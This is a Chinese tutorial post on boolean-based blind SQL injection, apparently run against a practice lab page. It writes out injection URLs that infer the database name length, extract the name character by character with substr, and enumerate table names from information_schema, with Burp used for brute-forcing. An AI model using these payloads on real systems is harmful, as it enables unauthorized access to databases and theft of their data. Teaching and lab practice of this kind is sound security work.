SQL注入基础:2.boolean注入

SQL注入基础:2.boolean注入

Boolean注入:构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。

2.1 boolean注入攻击

1)考虑使用boolean注入

URL:http://www.tianchi.com/web/boolean.php?id=1

URL:http://www.tianchi.com/web/boolean.php?id=1'

发现页面只返回yes或者no,因此可以尝试使用boolean注入。

SQL注入基础:2.boolean注入_第1张图片

2)获取数据库库名

(1)判断当前数据库库名的长度

URL:http://www.tianchi.com/web/boolean.php?id=1' and length(database())>=8--+

URL:http://www.tianchi.com/web/boolean.php?id=1' and length(database())>=9--+

所以当前数据库库名的长度是8。

SQL注入基础:2.boolean注入_第2张图片SQL注入基础:2.boolean注入_第3张图片

(2)获取当前数据库库名

由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。所以可以逐字符判断当前数据库库名,使用substr来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。如判断第一个字符是否是a如下:

URL:http://www.tianchi.com/web/boolean.php?id=1' and substr(database(),1,1)='a'--+

为了方便可以利用Burp爆破:

SQL注入基础:2.boolean注入_第4张图片SQL注入基础:2.boolean注入_第5张图片

可以看到当前数据库库名的第一个字符是s,如下所示:

SQL注入基础:2.boolean注入_第6张图片

同理,得到所有字符,最后得到当前数据库库名是:security。

3)获取数据库表名

使用以下语句替代database():

(select table_name from information_schema.tables where table_schema='security' limit 0,1)

如获取security数据库的第一个表名的第一个字符:

URL:http://www.tianchi.com/web/boolean.php?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

这里利用Burp爆破:

SQL注入基础:2.boolean注入_第7张图片

可以看到security数据库的第一个表名的第一个字符e,如下所示:

SQL注入基础:2.boolean注入_第8张图片

同理,得到所有字符,最后得到security数据库的第一个表名是:emails。修改limit 0,1为limit 1,1,可以得到第二个表名。最后得到所有表名:

第1个表名是:emails

第2个表名是:referers

第3个表名是:uagents

第4个表名是:users

依次类推,就可以得到完整的数据库库名,表名,字段名和具体数据。

2.1 boolean注入PHP代码

 

你可能感兴趣的:(Web安全)